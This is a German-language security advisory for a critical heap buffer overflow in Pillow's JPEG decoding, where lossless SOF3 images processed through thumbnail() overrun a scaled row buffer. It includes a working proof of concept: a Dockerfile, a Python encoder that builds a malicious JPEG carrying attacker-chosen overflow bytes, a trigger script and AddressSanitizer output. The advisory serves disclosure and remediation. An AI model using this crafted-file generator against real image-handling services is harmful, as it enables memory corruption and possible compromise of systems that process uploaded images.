Kritisch

Pillow: Heap-Pufferüberlauf in ImagingJpegDecode

  • Veröffentlicht: 20.10.2026
  • Aktualisiert: 21.10.2026 10:00

Zusammenfassung

JpegImageFile.draft() — das von Image.thumbnail() automatisch aufgerufen wird — fordert eine auf 1/2, 1/4 oder 1/8 skalierte JPEG-Ausgabe an und verkleinert self._size sowie die Kachelausdehnungen passend, sodass _setimage() einen einzeiligen Decodierpuffer von ceil(W/s) Abtastwerten zuweist. ImagingJpegDecode() setzt cinfo.scale_num/scale_denom, ruft jpeg_start_decompress() auf und liest anschließend Scanlines in diesen Puffer ein, ohne jemals cinfo.output_width, cinfo.output_height oder cinfo.out_color_components mit state->xsize, state->ysize und state->bits zu vergleichen.

libjpeg-turbo 3.x decodiert verlustfreies (SOF3) JPEG, schließt verlustfreie Datenströme jedoch fest von der Skalierung aus — die angeforderte scale_denom wird stillschweigend verworfen. Daher werden Zeilen mit der vollen Breite von W Abtastwerten in einen Puffer zurückgegeben, der für ceil(W/s) dimensioniert ist. Jeder Aufruf von jpeg_read_scanlines() schreibt (W - ceil(W/s)) x components Bytes über das Ende der Heap-Zuweisung hinaus. Bei den überlaufenden Bytes handelt es sich um die decodierten Pixelwerte, die für ein 8-Bit Graustufen-Verlustfrei-Bild bytegenau sind.

Die Eingabe ist ein standardkonformes JPEG, weshalb Image.open(..., formats=["JPEG"]) dies nicht verhindert. Der Python-SOF-Parser von Pillow akzeptiert den Marker 0xFFC3 („SOF3“, „Spatial lossless“) bereits mit 8-Bit-Präzision, sodass die Datei regulär als JPEG / Modus L-Bild in voller deklarierter Größe geöffnet wird.

Betroffener Code

In e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() bei :240, jpeg_read_scanlines() bei :252, ohne Geometrieprüfung dazwischen.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) mit state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); berechnet s und verkleinert _size, die Kachelausdehnungen und decoderconfig ohne Berücksichtigung verlustfreier Codierung.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
c
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Da state->ysize (ceil(H/s)) niemals dem libjpeg-Wert output_height entsprechen kann, wenn s >= 2 gilt, endet der Decodiervorgang immer mit einem Fehler, nachdem die Zeilen bereits geschrieben wurden: Der Aufrufer sieht eine Ausnahme und erhält keine Pixel zurück. Der OSError ist eine Folge des Überlaufs, nicht das gemeldete Problem selbst.

Primitiv

Pro Scanline: ein zusammenhängender Schreibvorgang von (W - ceil(W/s)) x c Bytes unmittelbar hinter einem calloc(ceil(W/s) x c)-Block, wobei c = 1 für Modus L und 4 für RGB (RGBX) und CMYK gilt; wiederholt für ceil(H/s) Zeilen über denselben Bereich. Die Puffergrößenklasse wird vom Angreifer über W gewählt, und bei Graustufen handelt es sich bei dem überlaufenden Inhalt um eine beliebige, vom Angreifer gewählte Bytefolge.

Gemessen im untenstehenden Reproduktionsbeispiel: 1200x1100 Modus L, s=2 — eine Zuweisung von 600 Bytes, 600 Bytes darüber hinaus geschrieben, wobei ASan den gesamten Zeilenschreibvorgang von 1200 Bytes als ein einziges memcpy meldet.

Schwellenwert: draft() muss s >= 2 auswählen, d. h. W // requested_w >= 2 und H // requested_h >= 2. Für thumbnail((256,256)) mit dem Standard-reducing_gap=2.0 bedeutet dies W, H >= 1024.

Reproduktion

Eigenständiger Docker-Reproduzierer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 und Pillow beide aus dem Quellcode mit -fsanitize=address gebaut; Pillow ausgecheckt bei ${TARGET_COMMIT}, Standard e41083f383c9cd3db95de52564cc0b6452313d4a). Speichern Sie die drei untenstehenden Dateien als Dockerfile, make_sof3.py und trigger.py in einem leeren Verzeichnis, dann:

bash
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py ist ein eigenständiger Encoder, der ein standardkonformes 8-Bit-Graustufen-JPEG mit verlustfreiem Huffman erzeugt (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 Prädiktor 1, Se=0, Ah=Al=0 / entropiekodierte Zeilendifferenzen / EOI), dessen Zeilen ein sich wiederholendes Markermuster tragen. trigger.py öffnet dieses und ruft thumbnail() auf, dessen implizites draft() s=2 wählt und einen Zeilenpuffer von 600 Bytes zuweist.

Dockerfile

dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

make_sof3.py

python
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer


class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()


def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows


def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")

trigger.py

python
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Validierte Ausgabe:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #0 __asan_memcpy
    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #0 calloc
    #1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Negativkontrolle, dasselbe Bild: Ein Baseline-DCT-JPEG identischer Dimensionen wird fehlerfrei als Thumbnail verarbeitet, da libjpeg die Skalierung 1/2 genau so einhält, wie draft() sie berechnet hat.

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Geltungsbereich und Vorbehalte

  • Reproduziert auf main bei e41083f383c9cd3db95de52564cc0b6452313d4a, was dem aktuellen origin/main zum Stand von 2026-08-30 entspricht. Ebenfalls gemeldet gegen 12.3.0.
  • Erfordert, dass das verlinkte libjpeg verlustfreie Decodierung unterstützt, d. h. libjpeg-turbo >= 3.0. Dies ist in den offiziellen Pillow-Wheels gebündelt. Builds gegen libjpeg-turbo 2.x oder IJG libjpeg weisen SOF3 zurück, bevor eine Zeile decodiert wird, und sind nicht betroffen.
  • Keine nicht standardmäßige Pillow-Konfiguration erforderlich: Image.thumbnail() ruft standardmäßig draft() auf, und die auslösenden Bytes sind vollständig Dateidaten.
  • Nur Codepfade betroffen, die draft() vor dem Laden verwenden. open().load() und resize() decodieren mit Skalierung 1 und sind nicht betroffen. Der Aufruf von img.load() vor thumbnail() oder thumbnail(..., reducing_gap=None) vermeidet den Pfad in einer Anwendung derzeit.
  • Auf demselben Codepfad nicht betroffen: SOF11 (arithmetisch verlustfrei) schlägt mit JERR_ARITH_NOTIMPL vor jeder Zeile fehl; 12- und 16-Bit verlustfrei werden vom SOF() von Pillow abgelehnt, da es bits == 8 erfordert; SOF5-7/13-15 schlagen mit JERR_SOF_UNSUPPORTED fehl.

Danksagung und Offenlegung

Gefunden von Anthropic unter Verwendung von Claude zur Untersuchung der Sicherheit von Open-Source-Software, manuell validiert von Ada Logics.

Dieser Bericht folgt der Richtlinie zur koordinierten Offenlegung von Schwachstellen von Anthropic (https://www.anthropic.com/coordinated-vulnerability-disclosure), mit einem 90-tägigen Offenlegungsfenster ab dem Datum dieses Berichts.

Dank gebührt Claude (Anthropic) und Ada Logics.

Was zu tun ist

Aktualisieren Sie Pillow auf Version 13.0.0 oder höher. Für betroffene Versionen weist der Sicherheitshinweis darauf hin, dass das Vermeiden von draft() vor dem Laden, der Aufruf von img.load() vor thumbnail() oder der Aufruf von thumbnail(..., reducing_gap=None) den betroffenen Codepfad umgeht.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow < 13.0.0 13.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-122
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
20.10.2026
Aktualisiert
21.10.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-8g5g-8vmr-9782 - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (82) im Archiv
Einträge insgesamt
82
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 11
  • Hoch 53
  • Mittel 16
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 24

früher: 12

Schweregrad:
  1. Pillow: Heap-Pufferüberlauf in ImagingJpegDecode dieser Eintrag
    Kritisch CVE-2026-112403 < 13.0.0 13.0.0
  2. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
Mehr anzeigen (20) 20 von 64 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.